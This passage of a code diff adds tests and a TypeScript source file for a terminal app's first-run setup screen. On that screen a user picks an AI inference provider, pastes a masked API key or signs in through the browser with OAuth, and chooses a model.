expect(kind).toBe("codex") + expect(profile).toBe("default") + return { + authorizeUrl: AUTHORIZE_URL, + completed: new Promise<{ profile: string }>((resolve) => { + complete = resolve + }), + cancel: () => {}, + } + }, + onSubmit: async (values, _setPhase, o) => { + seen.push({ ...values }) + opts.push(o) + }, + }) + await pickRow(harness, PROVIDER_IDS, "codex") + await flush(harness) + const waiting = harness.captureCharFrame() + expect(waiting).toContain("step 2 of 3") + expect(waiting).toContain("sign in") + expect(waiting).toContain("auth.example.com/authorize") + expect(waiting).toContain("waiting for browser sign-in") + + complete({ profile: "default" }) + await flush(harness) + expect(harness.captureCharFrame()).toContain("step 3 of 3") + + harness.pressKey("Enter") + await harness.renderOnce() + expect(await done).toBe(true) + expect(seen[0]?.name).toBe("codex/default") + // A signed-in provider never carries a key through the form. + expect(seen[0]?.apiKey).toBe("") + expect(opts[0]?.oauth).toEqual({ + kind: "codex", + profile: "default", + providerName: "codex/default", + }) + }) + + test("a denied sign-in says so and Enter retries it", async () => { + let starts = 0 + const { done, harness } = await mountLogin({ + start: async () => { + starts += 1 + return { + authorizeUrl: AUTHORIZE_URL, + completed: + starts === 1 + ? Promise.reject(new Error("access denied by the user")) + : new Promise<{ profile: string }>(() => {}), + cancel: () => {}, + } + }, + }) + await pickRow(harness, PROVIDER_IDS, "codex") + await flush(harness) + const failed = harness.captureCharFrame() + expect(failed).toContain("access denied by the user") + expect(failed).toContain("enter to try signing in again") + + harness.pressKey("Enter") + await flush(harness) + expect(starts).toBe(2) + expect(harness.captureCharFrame()).toContain("waiting for browser sign-in") + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + }) + + test("a sign-in that never returns times out rather than hanging", async () => { + let cancelled = 0 + const { done, harness } = await mountLogin({ + loginTimeoutMs: 5, + start: async () => ({ + authorizeUrl: AUTHORIZE_URL, + completed: new Promise<{ profile: string }>(() => {}), + cancel: () => { + cancelled += 1 + }, + }), + }) + await pickRow(harness, PROVIDER_IDS, "codex") + await new Promise((r) => setTimeout(r, 30)) + await harness.renderOnce() + const frame = harness.captureCharFrame() + expect(frame).toContain(LOGIN_TIMEOUT_MESSAGE) + expect(frame).toContain("enter to try signing in again") + expect(cancelled).toBeGreaterThan(0) + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + }) + + test("Escape abandons a sign-in and returns to the provider list", async () => { + let cancelled = 0 + let aborted = false + const { done, harness } = await mountLogin({ + start: async ({ signal }) => { + signal.addEventListener("abort", () => { + aborted = true + }) + return { + authorizeUrl: AUTHORIZE_URL, + completed: new Promise<{ profile: string }>(() => {}), + cancel: () => { + cancelled += 1 + }, + } + }, + }) + await pickRow(harness, PROVIDER_IDS, "codex") + await flush(harness) + await pressEscape(harness) + const frame = harness.captureCharFrame() + expect(frame).toContain("step 1 of 3") + expect(frame).toContain(LOGIN_CANCELLED_MESSAGE) + expect(frame).toContain("pick a provider to start over") + expect(cancelled).toBeGreaterThan(0) + expect(aborted).toBe(true) + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + }) + + test("a late resolution from an abandoned attempt cannot move the screen", async () => { + let complete: (result: { profile: string }) => void = () => {} + const { done, harness } = await mountLogin({ + start: async () => ({ + authorizeUrl: AUTHORIZE_URL, + completed: new Promise<{ profile: string }>((resolve) => { + complete = resolve + }), + cancel: () => {}, + }), + }) + await pickRow(harness, PROVIDER_IDS, "codex") + await flush(harness) + await pressEscape(harness) + complete({ profile: "default" }) + await flush(harness) + expect(harness.captureCharFrame()).toContain("step 1 of 3") + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + }) +}) + +describe("runProviderSetup", () => { + test("opens on the provider pick-list", async () => { + const { done, harness } = await mountSetup() + await harness.renderOnce() + const frame = harness.captureCharFrame() + expect(frame).toContain("setup") + expect(frame).toContain("step 1 of 3") + expect(frame).toContain("OpenAI") + expect(frame).toContain("Custom") + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + }) + + test("picking a known provider prefills base URL and model", async () => { + const seen: ProviderFormValues[] = [] + const opts: SubmitOpts[] = [] + const { done, harness } = await mountSetup(async (values, _phase, o) => { + seen.push({ ...values }) + opts.push(o) + }) + await pickRow(harness, PROVIDER_IDS, "openai") + // Two steps left: only the key is typed. + expect(harness.captureCharFrame()).toContain("step 2 of 3") + type(harness, "sk-key") + harness.pressKey("Enter") + await harness.renderOnce() + expect(harness.captureCharFrame()).toContain("step 3 of 3") + harness.pressKey("Enter") + await harness.renderOnce() + + expect(await done).toBe(true) + const openai = providerChoiceById("openai") + expect(seen[0]).toEqual({ + name: "openai", + baseURL: "https://api.openai.com/v1", + apiKey: "sk-key", + model: openai?.defaultModel ?? "", + }) + expect(opts[0]?.preset?.id).toBe("openai") + expect(opts[0]?.preset?.models.length).toBeGreaterThan(1) + }) + + test("the custom path keeps the full manual form", async () => { + const seen: ProviderFormValues[] = [] + const opts: SubmitOpts[] = [] + const { done, harness } = await mountSetup(async (values, _phase, o) => { + seen.push({ ...values }) + opts.push(o) + }) + await pickRow(harness, PROVIDER_IDS, CUSTOM_CHOICE_ID) + expect(harness.captureCharFrame()).toContain("step 2 of 5") + type(harness, "firepass") + harness.pressKey("Enter") + type(harness, "https://api.example.com") + harness.pressKey("Enter") + type(harness, "sk-key") + harness.pressKey("Enter") + type(harness, "fp-small") + harness.pressKey("Enter") + await harness.renderOnce() + + expect(await done).toBe(true) + expect(seen[0]).toEqual({ + name: "firepass", + baseURL: "https://api.example.com", + apiKey: "sk-key", + model: "fp-small", + }) + expect(opts[0]?.preset).toBeUndefined() + }) + + test("the model pick-list can escape to a typed model id", async () => { + const seen: ProviderFormValues[] = [] + const { done, harness } = await mountSetup(async (values) => { + seen.push({ ...values }) + }) + await pickRow(harness, PROVIDER_IDS, "openai") + type(harness, "sk-key") + harness.pressKey("Enter") + await harness.renderOnce() + const openai = providerChoiceById("openai") + expect(openai).toBeDefined() + if (openai === undefined) return + const modelIds = modelChoiceRows(openai).map((r) => r.id) + await pickRow(harness, modelIds, TYPE_MODEL_ID) + type(harness, "gpt-4o") + harness.pressKey("Enter") + await harness.renderOnce() + expect(await done).toBe(true) + expect(seen[0]?.model).toBe("gpt-4o") + }) + + test("shows the telemetry notice only when asked to", async () => { + const shown = await mountSetup(async () => {}, true) + await shown.harness.renderOnce() + expect(shown.harness.captureCharFrame()).toContain("telemetry") + shown.harness.pressKey("Ctrl+C") + await shown.done + + const hidden = await mountSetup() + await hidden.harness.renderOnce() + expect(hidden.harness.captureCharFrame()).not.toContain("telemetry") + hidden.harness.pressKey("Ctrl+C") + await hidden.done + }) + + test("Enter on an empty required field does not advance", async () => { + const { done, harness } = await mountSetup() + await pickRow(harness, PROVIDER_IDS, CUSTOM_CHOICE_ID) + harness.pressKey("Enter") + await harness.renderOnce() + expect(harness.captureCharFrame()).toContain("step 2 of 5") + harness.pressKey("Ctrl+C") + await done + }) + + test("Escape goes back a step", async () => { + const { done, harness } = await mountSetup() + await pickRow(harness, PROVIDER_IDS, "openai") + expect(harness.captureCharFrame()).toContain("step 2 of 3") + await pressEscape(harness) + expect(harness.captureCharFrame()).toContain("step 1 of 3") + harness.pressKey("Ctrl+C") + await done + }) + + test("Escape on the first step stays put", async () => { + const { done, harness } = await mountSetup() + await pressEscape(harness) + expect(harness.captureCharFrame()).toContain("step 1 of 3") + harness.pressKey("Ctrl+C") + await done + }) + + test("a full-length API key reaches onSubmit intact", async () => { + const key = "sk-proj-abcdefghijklmnopqrstuvwxyz0123456789" + const seen: ProviderFormValues[] = [] + const { done, harness } = await mountSetup(async (values) => { + seen.push({ ...values }) + }) + await connectOpenAI(harness, key) + expect(await done).toBe(true) + expect(seen[0]?.apiKey).toBe(key) + }) + + test("the typed API key is never painted in the clear", async () => { + const { done, harness } = await mountSetup() + await pickRow(harness, PROVIDER_IDS, "openai") + type(harness, "sk-secret") + await harness.renderOnce() + const frame = harness.captureCharFrame() + expect(frame).not.toContain("sk-secret") + expect(frame).toContain("●") + harness.pressKey("Ctrl+C") + await done + }) + + test("reports the submit phase while onSubmit runs", async () => { + let advance: (phase: "testing" | "saving") => void = () => {} + let finish: () => void = () => {} + const { done, harness } = await mountSetup((_values, setPhase) => { + advance = setPhase + return new Promise((resolve) => { + finish = resolve + }) + }) + await connectOpenAI(harness) + expect(harness.captureCharFrame()).toContain("testing connection") + + advance("saving") + await harness.renderOnce() + expect(harness.captureCharFrame()).toContain("writing settings") + + finish() + expect(await done).toBe(true) + }) + + test("a failed connection test shows the error, guidance, and save-anyway", async () => { + const attempts: boolean[] = [] + const { done, harness } = await mountSetup( + async (_values, _setPhase, opts) => { + attempts.push(opts.skipValidation) + if (!opts.skipValidation) throw new Error("connection refused") + }, + ) + await connectOpenAI(harness) + await harness.renderOnce() + const frame = harness.captureCharFrame() + expect(frame).toContain("connection refused") + expect(frame).toContain("save anyway") + + harness.pressKey("s", { ctrl: true }) + expect(await done).toBe(true) + expect(attempts).toEqual([false, true]) + }) + + test("a failure while saving does not offer save-anyway", async () => { + const { done, harness } = await mountSetup(async (_values, setPhase) => { + setPhase("saving") + throw new Error("disk full") + }) + await connectCustom(harness) + await harness.renderOnce() + const frame = harness.captureCharFrame() + expect(frame).toContain("disk full") + expect(frame).not.toContain("save anyway") + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + }) + + test("Ctrl+C during a sign-in resolves false and closes the flow", async () => { + let cancelled = 0 + const { done, harness } = await mountLogin({ + start: async () => ({ + authorizeUrl: AUTHORIZE_URL, + completed: new Promise<{ profile: string }>(() => {}), + cancel: () => { + cancelled += 1 + }, + }), + }) + await pickRow(harness, PROVIDER_IDS, "codex") + await harness.renderOnce() + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + expect(cancelled).toBeGreaterThan(0) + }) + + test("Ctrl+C before submit resolves false", async () => { + let submits = 0 + const { done, harness } = await mountSetup(async () => { + submits += 1 + }) + await pickRow(harness, PROVIDER_IDS, "openai") + type(harness, "sk-key") + harness.pressKey("Ctrl+C") + expect(await done).toBe(false) + expect(submits).toBe(0) + }) +}) + +/** + * Onboarding tells the user to paste, so paste is driven here as real + * bracketed-paste bytes (ESC[200~ … ESC[201~) through mock stdin. Asserting a + * handler is registered would pass while paste was broken. + */ +describe("runProviderSetup paste", () => { + /** Pick OpenAI, paste `key`, accept the default model, return what was saved. */ + async function pasteKey( + key: string, + ): Promise<{ values: ProviderFormValues | null; frame: string }> { + let seen: ProviderFormValues | null = null + const { done, harness } = await mountSetup(async (values) => { + seen = values + }) + try { + await pickRow(harness, PROVIDER_IDS, "openai") + await harness.mockInput.pasteBracketedText(key) + await harness.renderOnce() + const frame = harness.captureCharFrame() + harness.pressKey("Enter") + await harness.renderOnce() + harness.pressKey("Enter") + await harness.renderOnce() + await done + return { values: seen, frame } + } finally { + harness.destroy() + } + } + + test("a pasted key lands in the field, never echoed in the clear", async () => { + const key = "sk-proj-pasted-key-0123456789" + const { values, frame } = await pasteKey(key) + expect(values?.apiKey).toBe(key) + expect(frame).not.toContain(key) + }) + + test("a key pasted with its trailing newline is not submitted early", async () => { + const { values } = await pasteKey("sk-trailing\n") + expect(values?.apiKey).toBe("sk-trailing") + expect(values?.model.length).toBeGreaterThan(0) + }) + + test("a key longer than the input default is not silently truncated", async () => { + const key = `sk-${"x".repeat(4000)}` + const { values } = await pasteKey(key) + expect(values?.apiKey).toBe(key) + }) +}) diff --git a/src/tui-opentui/provider-setup.ts b/src/tui-opentui/provider-setup.ts new file mode 100644 index 000000000..eb6a6d41f --- /dev/null +++ b/src/tui-opentui/provider-setup.ts @@ -0,0 +1,1383 @@ +/** + * First-run provider setup on OpenTUI. + * + * Selection first: the operator picks a known provider from the first-class + * catalog (which prefills base URL and models), types only the API key, then + * picks a model. "Custom" falls back to the full manual form for endpoints the + * catalog does not know. + * + * The surface owns paint + input only; the caller owns the connection test and + * the settings write via `onSubmit`. + */ + +import { + BoxRenderable, + createCliRenderer, + InputRenderable, + InputRenderableEvents, + TextRenderable, + type CliRenderer, + type KeyEvent, +} from "@opentui/core" + +import { + FIRST_CLASS_PROVIDERS, + firstClassPathAsProvider, + type FirstClassOAuthProvider, + type FirstClassProviderDef, +} from "../../packages/first-class-providers/src/index.js" +import { CODEX_BASE_URL, CODEX_DEFAULT_MODELS } from "../auth/codex/constants.js" +import { XAI_BASE_URL, XAI_DEFAULT_MODELS } from "../auth/xai/constants.js" +import { PRODUCT_NAME } from "../branding.js" +import { codexProviderName } from "../config/codex-providers.js" +import { xaiProviderName } from "../config/xai-providers.js" +import { TELEMETRY_NOTICE } from "../telemetry/index.js" +import { wrapLines } from "../tui/view/height.js" +import { resolveSideMargin } from "./geometry/margins.js" +import { + createListViewport, + moveActive, + visibleSlice, + type ListViewportState, +} from "./list-viewport.js" +import { buildModelsFirstCatalog } from "./model-catalog.js" +import { rampFor, rampLine } from "./ramp.js" +import { + residualIdFromSelection, + residualListFromCatalog, + type ResidualCatalogEntry, +} from "./residuals.js" +import { destroySubtree } from "./teardown.js" +import { UI } from "./theme.js" + +export type ProviderField = "name" | "baseURL" | "apiKey" | "model" + +/** Placeholder shown in the text input for each free-text step. */ +const PROVIDER_FIELD_HINTS: Record = { + name: "openai, anthropic, ollama, …", + baseURL: "https://api.openai.com/v1", + apiKey: "sk-… (blank for keyless/local)", + model: "gpt-4o", +} + +export type ProviderFormValues = Record + +/** One screen of the flow. `provider` and `model` can be pick-lists. */ +export type SetupStep = + | "provider" + | "name" + | "baseURL" + | "apiKey" + | "model" + | "login" + +/** Known-provider path: pick, paste key, pick model. */ +export const PRESET_STEPS: readonly SetupStep[] = ["provider", "apiKey", "model"] + +/** Subscription path: pick, sign in through the browser, pick model. */ +export const OAUTH_STEPS: readonly SetupStep[] = ["provider", "login", "model"] + +/** Unknown endpoint: the full manual form, still preceded by the pick-list. */ +export const CUSTOM_STEPS: readonly SetupStep[] = [ + "provider", + "name", + "baseURL", + "apiKey", + "model", +] + +const STEP_LABELS: Record = { + provider: "provider", + name: "provider name", + baseURL: "base url", + apiKey: "api key", + model: "model", + login: "sign in", +} + +const STEP_PROMPTS: Record = { + provider: "pick the provider you have a key or subscription for", + name: "name this provider — you will see it in /model", + baseURL: "paste the api base url, including /v1 if it needs one", + apiKey: "paste the api key — leave blank for a keyless local endpoint", + model: "pick the model to start with", + login: "authorize in the browser — this window waits for you", +} + +// "testing" covers the connection-check call against the entered credentials; +// "saving" covers the settings write that follows once the test succeeds. +export type SubmitPhase = "testing" | "saving" + +const SUBMIT_PHASE_LABEL: Record = { + testing: "testing connection", + saving: "writing settings", +} + +/** Catalog id for the manual path. Never written to settings as a name. */ +export const CUSTOM_CHOICE_ID = "custom" + +/** Pick-list row that drops the model step back to free text. */ +export const TYPE_MODEL_ID = "__type_model__" + +/** + * A selectable provider. Preset rows carry everything the settings write needs + * except the key; the custom row carries nothing and opens the manual form. + */ +export type ProviderChoice = { + readonly id: string + readonly label: string + readonly baseURL: string + readonly models: readonly string[] + readonly defaultModel: string + readonly hint: string + /** Anthropic Messages protocol rather than OpenAI-compatible chat. */ + readonly anthropic: boolean + /** OpenCode Go subscription routing. */ + readonly opencodeGo: boolean + readonly custom: boolean + /** Browser sign-in flow to run instead of asking for a key. */ + readonly oauth: OAuthKind | null +} + +export type OAuthKind = FirstClassOAuthProvider + +/** Profile name a first run authorizes under. `/model` can add more later. */ +export const DEFAULT_OAUTH_PROFILE = "default" + +/** + * What a signed-in subscription provider resolves to. The endpoint and model + * list are the same constants the auth stack projects into the catalog, so a + * first run and a later `/model` connect land on the same provider entry. + */ +const OAUTH_SURFACES: Record< + OAuthKind, + { + readonly baseURL: string + readonly models: readonly string[] + readonly hint: string + readonly providerName: (profile: string) => string + } +> = { + codex: { + baseURL: CODEX_BASE_URL, + models: CODEX_DEFAULT_MODELS, + hint: "ChatGPT Plus/Pro subscription", + providerName: codexProviderName, + }, + xai: { + baseURL: XAI_BASE_URL, + models: XAI_DEFAULT_MODELS, + hint: "SuperGrok or X Premium+ subscription", + providerName: xaiProviderName, + }, +} + +/** Settings/catalog provider name a profile of `kind` is stored under. */ +export function oauthProviderName(kind: OAuthKind, profile: string): string { + return OAUTH_SURFACES[kind].providerName(profile) +} + +function oauthChoice( + id: string, + label: string, + kind: OAuthKind, +): ProviderChoice | null { + const surface = OAUTH_SURFACES[kind] + const defaultModel = surface.models[0] + if (defaultModel === undefined) return null + return { + id, + label, + baseURL: surface.baseURL, + models: surface.models, + defaultModel, + hint: surface.hint, + anthropic: false, + opencodeGo: false, + custom: false, + oauth: kind, + } +} + +const CUSTOM_CHOICE: ProviderChoice = { + id: CUSTOM_CHOICE_ID, + label: "Custom — any OpenAI-compatible endpoint", + baseURL: "", + models: [], + defaultModel: "", + hint: "you supply the name, base url and model", + anthropic: false, + opencodeGo: false, + custom: true, + oauth: null, +} + +function choiceFromDef(def: FirstClassProviderDef): ProviderChoice | null { + if (def.auth !== "api-key") return null + if (def.baseURL === undefined || def.models === undefined) return null + const defaultModel = def.defaultModel ?? def.models[0] + if (defaultModel === undefined) return null + return { + id: def.id, + label: def.label, + baseURL: def.baseURL, + models: def.models, + defaultModel, + hint: def.authHint ?? "", + anthropic: def.anthropic === true, + opencodeGo: def.opencodeGo === true, + custom: false, + oauth: null, + } +} + +/** + * The pick-list, derived from the shared first-class catalog so onboarding and + * `/model` connect never drift. Subscription providers are listed alongside the + * key-based ones: their step is a browser sign-in rather than a paste, but a + * first run must be able to start there. + */ +export function providerChoices(): readonly ProviderChoice[] { + const out: ProviderChoice[] = [] + for (const def of FIRST_CLASS_PROVIDERS) { + if (def.auth === "chooser") { + for (const path of def.paths ?? []) { + if (path.auth === "oauth" && path.oauth !== undefined) { + // The path label alone ("ChatGPT — …") drops the vendor, so the + // parent label carries it into a row read out of context. + const choice = oauthChoice( + path.providerId ?? def.id, + `${def.label} ${path.label}`, + path.oauth, + ) + if (choice !== null) out.push(choice) + continue + } + if (path.auth !== "api-key") continue + const seeded = firstClassPathAsProvider(def, path.id) + if (seeded === undefined) continue + const choice = choiceFromDef(seeded) + if (choice !== null) out.push(choice) + } + continue + } + if (def.auth === "oauth" && def.oauth !== undefined) { + const choice = oauthChoice(def.id, def.label, def.oauth) + if (choice !== null) out.push(choice) + continue + } + const choice = choiceFromDef(def) + if (choice !== null) out.push(choice) + } + out.push(CUSTOM_CHOICE) + return out +} + +export function providerChoiceById(id: string): ProviderChoice | undefined { + return providerChoices().find((c) => c.id === id) +} + +/** Pick-list rows for the provider step. */ +export function providerChoiceRows( + choices: readonly ProviderChoice[] = providerChoices(), +): readonly ResidualCatalogEntry[] { + return choices.map((c) => ({ + id: c.id, + label: c.hint.length > 0 ? `${c.label} — ${c.hint}` : c.label, + })) +} + +/** + * Pick-list rows for the model step, built from the shared models-first + * catalog so the labels match the `/model` picker (including its cross-product + * billing warnings). A trailing row escapes to free text for a model id the + * seeded list does not carry yet. + */ +export function modelChoiceRows( + choice: ProviderChoice, +): readonly ResidualCatalogEntry[] { + const catalog = buildModelsFirstCatalog({ + providers: [ + { + name: choice.id, + label: choice.label, + models: choice.models, + baseURL: choice.baseURL, + opencodeGo: choice.opencodeGo, + }, + ], + }) + return [ + ...catalog.map((option) => ({ + id: option.id, + label: option.label, + })), + { id: TYPE_MODEL_ID, label: "type a model id instead" }, + ] +} + +/** `provider:model` → `model`, for a row id produced by the model catalog. */ +export function modelFromRowId(providerId: string, rowId: string): string { + const prefix = `${providerId}:` + return rowId.startsWith(prefix) ? rowId.slice(prefix.length) : rowId +} + +export function stepsFor(choice: ProviderChoice | null): readonly SetupStep[] { + if (choice === null) return PRESET_STEPS + if (choice.custom) return CUSTOM_STEPS + return choice.oauth !== null ? OAUTH_STEPS : PRESET_STEPS +} + +const MASK_CHAR = "●" +const MASK_CAP = 16 + +/** + * Bullet-render a secret for the read-only summary rows, capped so a long key + * does not blow out the row width. + */ +export function maskSecret(value: string): string { + return MASK_CHAR.repeat(Math.min([...value].length, MASK_CAP)) +} + +/** + * Bullet-render a secret for the live input echo. + * + * Uncapped, unlike `maskSecret`: the echo is what `secretFromMaskedEdit` reads + * back, so a capped echo would silently discard everything past the cap. + */ +export function maskEcho(value: string): string { + return MASK_CHAR.repeat([...value].length) +} + +/** apiKey is optional — blank means a keyless local provider (e.g. Ollama). */ +export function stepReady(step: SetupStep, value: string): boolean { + return step === "apiKey" || value.trim().length > 0 +} + +/** + * Fold an edit of the masked apiKey display back into the real secret. + * + * The input never holds the key: every keystroke is mirrored back as bullets, + * so an edit arrives as bullets plus whatever was just typed. Appends and + * end-of-line deletes round-trip exactly; mid-string edits fall back to + * truncation, which is why the field is re-typed rather than patched. + */ +export function secretFromMaskedEdit(secret: string, displayed: string): string { + const chars = [...displayed] + const typed = chars.filter((c) => c !== MASK_CHAR) + const keptLength = chars.length - typed.length + return [...secret].slice(0, keptLength).join("") + typed.join("") +} + +/** `step 2 of 3 · api key` — always says where the operator is and what is left. */ +export function stepHeadline( + steps: readonly SetupStep[], + index: number, +): string { + const step = steps[Math.min(Math.max(index, 0), steps.length - 1)] + if (step === undefined) return "" + return `step ${index + 1} of ${steps.length} · ${STEP_LABELS[step]}` +} + +export type SummaryRow = { + readonly label: string + readonly value: string + readonly state: "done" | "current" | "pending" +} + +/** One row per step: settled rows show the value, later rows a dash. */ +export function summaryRows( + steps: readonly SetupStep[], + index: number, + values: ProviderFormValues, + choice: ProviderChoice | null, +): readonly SummaryRow[] { + return steps.map((step, i) => { + const state = i < index ? "done" : i === index ? "current" : "pending" + return { + label: STEP_LABELS[step], + value: state === "done" ? settledValue(step, values, choice) : "—", + state, + } + }) +} + +function settledValue( + step: SetupStep, + values: ProviderFormValues, + choice: ProviderChoice | null, +): string { + if (step === "provider") return choice?.label ?? values.name + if (step === "login") return values.name.length > 0 ? values.name : "signed in" + if (step === "apiKey") { + return values.apiKey.length > 0 ? maskSecret(values.apiKey) : "keyless" + } + if (step === "name") return values.name + if (step === "baseURL") return values.baseURL + return values.model +} + +/** Render a summary row at a fixed label column. */ +export function summaryLine(row: SummaryRow): string { + const marker = row.state === "current" ? "›" : " " + return `${marker} ${row.label.padEnd(14)}${row.state === "current" ? "" : row.value}` +} + +export function summaryColor(row: SummaryRow): string { + if (row.state === "done") return UI.done + if (row.state === "current") return UI.text + return UI.textFaint +} + +/** + * What the operator should do about a failure. A bare error message leaves a + * first-run user stuck, so every failure names the field to fix. + */ +export function failureGuidance( + phase: SubmitPhase, + choice: ProviderChoice | null, +): string { + if (phase === "saving") { + return "settings could not be written — check disk permissions, enter to retry" + } + return choice !== null && !choice.custom + ? "the key was rejected or unreachable — esc to re-enter it, enter to retry, ctrl+s to save anyway" + : "check the base url and key — esc to go back, enter to retry, ctrl+s to save anyway" +} + +/** How long a sign-in may wait on the browser before it gives the screen back. */ +export const LOGIN_TIMEOUT_MS = 3 * 60 * 1000 + +export const LOGIN_TIMEOUT_MESSAGE = "sign-in timed out" + +/** Set when the operator escapes a sign-in that was still outstanding. */ +export const LOGIN_CANCELLED_MESSAGE = "sign-in cancelled" + +/** What the operator should do about a sign-in that did not complete. */ +export function loginGuidance(): string { + return "enter to try signing in again · esc to pick a different provider" +} + +/** What the operator should do after abandoning a sign-in. */ +export function loginCancelGuidance(): string { + return "nothing was saved — pick a provider to start over" +} + +/** Status line while the browser round-trip is outstanding. */ +export const LOGIN_WAITING_LABEL = "waiting for browser sign-in" + +export type SubmitOpts = { + // True when the operator chose to save despite a failed connection test — + // some providers speak chat completions but not /models, so validation + // cannot be a hard gate. + readonly skipValidation: boolean + /** + * Catalog metadata for the picked provider. Absent on the custom path. Lets + * the caller persist the full seeded model list and the protocol flags the + * four form values cannot express. + */ + readonly preset?: ProviderPreset + /** + * Present when the operator signed in rather than pasting a key. The token + * is already on disk in the auth store by then, so the caller persists the + * selection only — never a credential. + */ + readonly oauth?: OAuthResult +} + +export type OAuthResult = { + readonly kind: OAuthKind + readonly profile: string + /** Settings/catalog name the stored profile projects to. */ + readonly providerName: string +} + +export type ProviderPreset = { + readonly id: string + readonly models: readonly string[] + readonly anthropic: boolean + readonly opencodeGo: boolean +} + +export type ProviderSetupSubmit = ( + values: ProviderFormValues, + setPhase: (phase: SubmitPhase) => void, + opts: SubmitOpts, +) => Promise + +/** A login in flight: where to authorize, when it finished, how to abandon it. */ +export type OAuthLoginStart = { + readonly authorizeUrl: string + readonly completed: Promise<{ profile: string }> + readonly cancel: () => void +} + +export type OAuthLoginStarter = (input: { + readonly kind: OAuthKind + readonly profile: string + readonly signal: AbortSignal +}) => Promise + +/** + * Real login: PKCE plus a loopback callback server, per provider. Imported + * lazily so mounting the surface never binds a port in a test that has + * injected its own starter. + */ +const defaultLoginStarter: OAuthLoginStarter = async ({ + kind, + profile, + signal, +}) => { + if (kind === "codex") { + const { startCodexLogin } = await import("../auth/codex/login.js") + return startCodexLogin({ profile, signal }) + } + const { startXaiLogin } = await import("../auth/xai/login.js") + return startXaiLogin({ profile, signal }) +} + +export type ProviderSetupConfig = { + readonly onSubmit: ProviderSetupSubmit + /** + * One-time telemetry disclosure. Shown here so a brand-new install sees it + * on the same launch the first telemetry event fires, not on a later run. + */ + readonly showTelemetryNotice: boolean + /** Renderer factory override for headless mounting in tests. */ + readonly createRenderer?: () => Promise + /** Login driver override so tests need neither a browser nor a port. */ + readonly startLogin?: OAuthLoginStarter + /** Sign-in deadline override, in milliseconds. */ + readonly loginTimeoutMs?: number + /** + * Skip the provider pick-list and start directly on that provider's + * apiKey/login step — the inline "connect →" path from the model picker + * already knows which provider it wants. + */ + readonly initialProviderId?: string +} + +const SUMMARY_SLOTS = CUSTOM_STEPS.length +/** Wrapped rows reserved for the authorize URL and its instruction. */ +const LOGIN_ROWS = 4 +// The whole first-class catalog plus the custom row fits without scrolling on a +// standard terminal: a first run should see every option it could pick. +const LIST_ROWS_MAX = 10 +const LIST_ROWS_MIN = 3 +const TELEMETRY_ROWS = 3 +/** + * Input capacity. The renderable defaults to 1000 characters and truncates a + * longer paste silently, which a first run would read as "paste is broken"; + * long-lived service-account keys and JWT-shaped tokens clear that default. + */ +const FIELD_MAX_LENGTH = 16_384 +/** Ramp animation tick. Fast enough to read as motion at 30fps paint. */ +const RAMP_TICK_MS = 120 + +/** + * Mount the setup surface. Resolves true once `onSubmit` completes, false when + * the operator cancels (Ctrl+C / Ctrl+D) without a successful submit. + */ +export async function runProviderSetup( + config: ProviderSetupConfig, +): Promise { + const renderer = config.createRenderer + ? await config.createRenderer() + : await createCliRenderer({ exitOnCtrlC: false, targetFps: 30 }) + + const choices = providerChoices() + const values: ProviderFormValues = { + name: "", + baseURL: "", + apiKey: "", + model: "", + } + let choice: ProviderChoice | null = null + let stepIndex = 0 + // Set when the operator escapes the model pick-list into free text. + let typedModel = false + let submitting = false + let submitPhase: SubmitPhase = "testing" + let submitError: string | null = null + let saveAnywayOffered = false + let rampTimer: ReturnType | null = null + + const startLogin = config.startLogin ?? defaultLoginStarter + const loginTimeoutMs = config.loginTimeoutMs ?? LOGIN_TIMEOUT_MS + let loginStatus: "idle" | "pending" | "failed" | "done" = "idle" + let loginURL: string | null = null + let loginError: string | null = null + let loginResult: OAuthResult | null = null + let loginAbort: AbortController | null = null + let loginHandle: OAuthLoginStart | null = null + let loginTimer: ReturnType | null = null + // Carried back to the provider step so an abandoned sign-in says so there + // rather than dropping the operator on a silent list. + let loginCancelled = false + // Bumped on every start and every abandon, so a late resolution from a + // cancelled or superseded attempt can never move the screen. + let loginAttempt = 0 + + if (config.initialProviderId !== undefined) { + const preselected = choices.find((c) => c.id === config.initialProviderId) + if (preselected !== undefined) { + choice = preselected + stepIndex = 1 + values.name = preselected.label + values.baseURL = preselected.baseURL + values.model = preselected.defaultModel + } + } + + const margin = resolveSideMargin(renderer.width || 80) + + let listRows: readonly ResidualCatalogEntry[] = providerChoiceRows(choices) + let list: ListViewportState = createListViewport({ + count: listRows.length, + height: listHeight(), + }) + + function listHeight(): number { + const rows = renderer.height || 24 + return Math.max(LIST_ROWS_MIN, Math.min(LIST_ROWS_MAX, rows - 14)) + } + + const steps = (): readonly SetupStep[] => stepsFor(choice) + const currentStep = (): SetupStep => + steps()[stepIndex] ?? ("provider" as SetupStep) + const isListStep = (): boolean => { + const step = currentStep() + if (step === "provider") return true + return step === "model" && choice !== null && !choice.custom && !typedModel + } + + const root = new BoxRenderable(renderer, { + id: "provider-setup", + width: "100%", + height: "100%", + flexDirection: "column", + backgroundColor: UI.ground, + paddingTop: 1, + paddingLeft: margin, + paddingRight: margin, + }) + + const header = new TextRenderable(renderer, { + id: "provider-setup-header", + content: `${PRODUCT_NAME.toLowerCase()} · setup`, + fg: UI.inFlightBright, + }) + const intro = new TextRenderable(renderer, { + id: "provider-setup-welcome", + content: "connect an inference provider — switch later with /model", + fg: UI.textDim, + }) + const step = new TextRenderable(renderer, { + id: "provider-setup-step", + content: "", + fg: UI.action, + }) + const instruction = new TextRenderable(renderer, { + id: "provider-setup-instruction", + content: "", + fg: UI.text, + }) + + const summary = new BoxRenderable(renderer, { + id: "provider-setup-summary", + width: "100%", + flexDirection: "column", + flexShrink: 0, + paddingTop: 1, + backgroundColor: UI.ground, + }) + const summarySlots = Array.from( + { length: SUMMARY_SLOTS }, + (_, i) => + new TextRenderable(renderer, { + id: `provider-setup-summary-${String(i)}`, + content: "", + fg: UI.textDim, + }), + ) + for (const row of summarySlots) summary.add(row) + + const listBox = new BoxRenderable(renderer, { + id: "provider-setup-list", + width: "100%", + flexDirection: "column", + flexShrink: 0, + paddingTop: 1, + backgroundColor: UI.ground, + }) + const listSlots = Array.from( + { length: LIST_ROWS_MAX }, + (_, i) => + new TextRenderable(renderer, { + id: `provider-setup-list-${String(i)}`, + content: "", + fg: UI.textDim, + }), + ) + for (const row of 